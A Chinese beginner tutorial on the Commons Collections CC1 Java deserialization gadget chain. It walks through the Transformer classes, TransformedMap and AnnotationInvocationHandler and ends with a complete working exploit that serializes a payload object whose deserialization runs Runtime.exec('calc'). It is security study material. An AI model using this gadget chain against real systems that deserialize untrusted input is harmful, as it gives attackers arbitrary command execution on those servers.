[Java安全入门]三.CC1链

2024-03-10 11:28
文章标签 java 入门 安全 cc1

本文主要是介绍[Java安全入门]三.CC1链,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1.前言

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。Commons Collections触发反序列化漏洞构造的链叫做cc链,构造方式多种,这里先学习cc1链。

2.环境

jdk-8u65
Commons Collections3.2.1

3.分析

3.1基础链子

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;public class Cc1 {public static void main(String[] args) {ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null,new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc"})});chain.transform(123);}
}

3.2分析几个重要的接口和类

Transformer接口

public interface Transformer {Object transform(Object var1);
}

这个接口其实就是一个转换器,完成不同的数据类型转换

ConstantTransformer类

public class ConstantTransformer implements Transformer, Serializable {private static final long serialVersionUID = 6374440726369055124L;public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);private final Object iConstant;public static Transformer getInstance(Object constantToReturn) {return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));}public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}public Object transform(Object input) {return this.iConstant;}public Object getConstant() {return this.iConstant;}
}

该类实现Transformer接口,其构造器将传入的参数传递给iConstant变量,类里面的transform方法将iConstant的值返回。如果传入参数是一个恶意对象,当调用transform的时候就可能会产生不好结果。

InvokerTransformer类

该类也实现了Transformer接口

看其构造器

 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;}

第一个参数为方法,第二个参数为传入的参数数组,第三个参数为对象数组

该类的transform方法可以执行任意方法

 public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}

其中return method.invoke(input,iArgs)是实现反序列化漏洞的关键,通过放射获取input的类,然后调用该类的iMethodName方法。

ChainedTransformer类

ChainedTransformer implements Transformer, Serializable {/** Serial version UID */private static final long serialVersionUID = 3514945074733160196L;/** The transformers to call in turn */private final Transformer[] iTransformers;/*** Factory method that performs validation and copies the parameter array.* * @param transformers  the transformers to chain, copied, no nulls* @return the <code>chained</code> transformer* @throws IllegalArgumentException if the transformers array is null* @throws IllegalArgumentException if any transformer in the array is null*/public static Transformer getInstance(Transformer[] transformers) {FunctorUtils.validate(transformers);if (transformers.length == 0) {return NOPTransformer.INSTANCE;}transformers = FunctorUtils.copy(transformers);return new ChainedTransformer(transformers);

该类也实现了Transformer接口

看其构造器

 public ChainedTransformer(Transformer[] transformers) {super();iTransformers = transformers;}

iTransformers为其传入的参数,是一个接口类型的数组

看其transform方法

  public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}

该方法会遍历所有接口类型数组,然后调用其transform方法,并且结构作为下一次循环的参数

3.3过程分析

hainedTransformer chain = new ChainedTransformer(new Transformer[] ...)

最外层是实例化一个ChainedTransformer类,参数是一个Transformer接口类数组。

new ConstantTransformer(Runtime.class)

第一个类是ConstantTransformer,构造时传入了一个Runtime类,所以ConstantTransformer.iConstant=Runtime.class

new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]})

第二个类是InvokerTransformer类,构造时,方法名为传入的是getMethod,参数类型传入的是String类型和Class[]类型,参数为getRuntime和一个空的Class类型数组

new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,new Object[0]})

第三个类还是InvokerTransformer类,传入的方法名是invoke,参数类型是Object类型和Object数组类型,第一个参数是null,第二个参数是空的Object数组

 new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc"})}

第三个类还是InvokerTransformer类,传入的方法名是exec,参数类型是String类型,参数值是calc

chain.transform(123);

传入这些有transformer接口的类之后,执行ChainedTransformer里面的transform方法实现命令执行

仔细分析chain.transform方法

 public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}

遍历传入所有类的transform方法

Ⅰ.执行ConstantTransformer.transform,返回Runtime.class Object=Runtime.class.

public ConstantTransformer(Object constantToReturn) {super();iConstant = constantToReturn;}

Ⅱ.执行InvokerTransformer.transform,input为Runtime.class,先反射获取这个类,Class cls=input.getClass(),然后cls就变成了Class类,无法直接通过getMethod获取getRuntime方法,所以通过嵌套,让method写成getMethod方法,然后invoke的时候再对Runtime.class调用getRuntime方法,这样object就变成了Runtime.getRuntime

Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);

Ⅲ.input为Runtime.getRuntime,同样通过嵌套,先使method为invoke方法,然后再对    Runtime.getRuntime使用invoke(method)调用exec方法,参数为calc,然后弹出计算器

Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

4.找利用链

4.1 TransformedMap

已知InvokerTransformer类可以调用transform方法执行命令,那接下来的思路就是寻找还有其他什么地方调用了InvokerTransformer类的transform方法,并且最终通过readObject重写进行反序列化

主要是其中三个Map类

先看TransformedMap

   protected Object transformKey(Object object) {if (keyTransformer == null) {return object;}return keyTransformer.transform(object);}protected Object checkSetValue(Object value) {return valueTransformer.transform(value);}

两个方法都调用了transform方法,这里利用checkSetValue()

 protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;}

构造器接受三个参数,第一个是Map类型,然后两个Transformer类型,Map可以利用在上一篇URLDNS里面利用的HashMap,其重写了readObject方法。

keyTransformer和valueTransformer都是protected类型,不能在外部调用,所以要找TransformedMap什么方法调用了构造函数

 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}

巧的是decorate调用了构造函数

然后找哪里调用了TransformedMap类的checkSetValue方法

发现在AbstractInputCheckedMapDecorator类的继承类Mapentry调用了checkSetValue

  static class MapEntry extends AbstractMapEntryDecorator {/** The parent map */private final AbstractInputCheckedMapDecorator parent;protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}public Object setValue(Object value) {value = parent.checkSetValue(value);return entry.setValue(value);}}

更好的是AbstractInputCheckedMapDecorator是TransformedMap类的父类

public class TransformedMapextends AbstractInputCheckedMapDecorator

AbstractMapEntryDecorator又引入了Map.Entry接口,只要进行常用的Map遍历,就可以调用setValue(),然后就能调用checkSetValue

4.2简单例子

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class Cc1 {public static void main(String[] args) throws  IllegalAccessException, NoSuchMethodException{InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});//先构造一个invokerHashMap hashMap=new HashMap();//用HashMap传入decoratehashMap.put(1,1);Map<Object,Object> transformedMap=TransformedMap.decorate(hashMap,null,invokerTransformer);//构造好TransformedMap,现在需要触发checkSetValue并把指令传进去Runtime cmd=Runtime.getRuntime();for(Map.Entry entry:transformedMap.entrySet()){entry.setValue(cmd);}//通过遍历Map,调用setValue触发checkSetValue}
}

然后再找哪里调用了setValue方法

发现 AnnotationInvocationHandler 类的readObject方法调用了setValue,非常nice

private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");}Map<String, Class<?>> memberTypes = annotationType.memberTypes();// If there are annotation members without values, that// situation is handled by the invoke method.for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) {  // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}}
}
String name = memberValue.getKey();

AnnotationInvocationHandler 类并不是public类型,无法在外面通过名字调用,要用反射调用这个类

看构造函数

 AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {Class<?>[] superInterfaces = type.getInterfaces();if (!type.isAnnotation() ||superInterfaces.length != 1 ||superInterfaces[0] != java.lang.annotation.Annotation.class)throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");this.type = type;this.memberValues = memberValues;}

接受两个参数,一个class对象,class对象继承了Annotation,需要传入一个注解类,另一个参数 Map对象,而且readObject里面有对map的遍历,所以可以传入我们的Transformed类

如何反射获取AnnotationInvocationHandler 类,看下面代码

  Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);Object annotationConstructor=constructor.newInstance(Target.class,transformedMap);

4.3三个问题

1.Runtime类不可以序列化

2.执行setValue需要满足两个条件

3.setValue的值如何控制

问题1.Runtime类不可以序列化,但是Class可以序列化,需要用反射,用我们之前最基础的链子即可

 Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//chainedTransformer.transform(Runtime.class);

问题2.两个if条件

 if (memberType != null) {  // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) 

memberType 不为空,注解类传入target就不会空

问题3.利用ConstantTransformer传值解决

5.最终exp

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class Cc1 {public static void main(String[] args) throws  Exception {Transformer[] Transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};//调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);//chainedTransformer.transform(Runtime.class);Map<Object, Object> hashMap = new HashMap<>();//用HashMap传入decoratehashMap.put("value", 1);Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);//构造好TransformedMap,现在需要触发checkSetValue并把指令传进去Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);annotationInvocationHandlerConstructor.setAccessible(true);Object obj = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));out.writeObject(obj);//序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));in.readObject();//反序列化// Runtime cmd=Runtime.getRuntime();//for(Map.Entry entry:transformedMap.entrySet())//{//   entry.setValue(cmd);//}//通过遍历Map,调用setValue触发checkSetValue}}

这篇关于[Java安全入门]三.CC1链的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/794087

相关文章

Java 正则表达式URL 匹配与源码全解析

《Java正则表达式URL匹配与源码全解析》在Web应用开发中,我们经常需要对URL进行格式验证,今天我们结合Java的Pattern和Matcher类,深入理解正则表达式在实际应用中... 目录1.正则表达式分解:2. 添加域名匹配 (2)3. 添加路径和查询参数匹配 (3) 4. 最终优化版本5.设计思

Java使用ANTLR4对Lua脚本语法校验详解

《Java使用ANTLR4对Lua脚本语法校验详解》ANTLR是一个强大的解析器生成器,用于读取、处理、执行或翻译结构化文本或二进制文件,下面就跟随小编一起看看Java如何使用ANTLR4对Lua脚本... 目录什么是ANTLR?第一个例子ANTLR4 的工作流程Lua脚本语法校验准备一个Lua Gramm

Java字符串操作技巧之语法、示例与应用场景分析

《Java字符串操作技巧之语法、示例与应用场景分析》在Java算法题和日常开发中,字符串处理是必备的核心技能,本文全面梳理Java中字符串的常用操作语法,结合代码示例、应用场景和避坑指南,可快速掌握字... 目录引言1. 基础操作1.1 创建字符串1.2 获取长度1.3 访问字符2. 字符串处理2.1 子字

Java Optional的使用技巧与最佳实践

《JavaOptional的使用技巧与最佳实践》在Java中,Optional是用于优雅处理null的容器类,其核心目标是显式提醒开发者处理空值场景,避免NullPointerExce... 目录一、Optional 的核心用途二、使用技巧与最佳实践三、常见误区与反模式四、替代方案与扩展五、总结在 Java

基于Java实现回调监听工具类

《基于Java实现回调监听工具类》这篇文章主要为大家详细介绍了如何基于Java实现一个回调监听工具类,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录监听接口类 Listenable实际用法打印结果首先,会用到 函数式接口 Consumer, 通过这个可以解耦回调方法,下面先写一个

使用Java将DOCX文档解析为Markdown文档的代码实现

《使用Java将DOCX文档解析为Markdown文档的代码实现》在现代文档处理中,Markdown(MD)因其简洁的语法和良好的可读性,逐渐成为开发者、技术写作者和内容创作者的首选格式,然而,许多文... 目录引言1. 工具和库介绍2. 安装依赖库3. 使用Apache POI解析DOCX文档4. 将解析

Java字符串处理全解析(String、StringBuilder与StringBuffer)

《Java字符串处理全解析(String、StringBuilder与StringBuffer)》:本文主要介绍Java字符串处理全解析(String、StringBuilder与StringBu... 目录Java字符串处理全解析:String、StringBuilder与StringBuffer一、St

springboot整合阿里云百炼DeepSeek实现sse流式打印的操作方法

《springboot整合阿里云百炼DeepSeek实现sse流式打印的操作方法》:本文主要介绍springboot整合阿里云百炼DeepSeek实现sse流式打印,本文给大家介绍的非常详细,对大... 目录1.开通阿里云百炼,获取到key2.新建SpringBoot项目3.工具类4.启动类5.测试类6.测

Spring Boot循环依赖原理、解决方案与最佳实践(全解析)

《SpringBoot循环依赖原理、解决方案与最佳实践(全解析)》循环依赖指两个或多个Bean相互直接或间接引用,形成闭环依赖关系,:本文主要介绍SpringBoot循环依赖原理、解决方案与最... 目录一、循环依赖的本质与危害1.1 什么是循环依赖?1.2 核心危害二、Spring的三级缓存机制2.1 三

在Spring Boot中浅尝内存泄漏的实战记录

《在SpringBoot中浅尝内存泄漏的实战记录》本文给大家分享在SpringBoot中浅尝内存泄漏的实战记录,结合实例代码给大家介绍的非常详细,感兴趣的朋友一起看看吧... 目录使用静态集合持有对象引用,阻止GC回收关键点:可执行代码:验证:1,运行程序(启动时添加JVM参数限制堆大小):2,访问 htt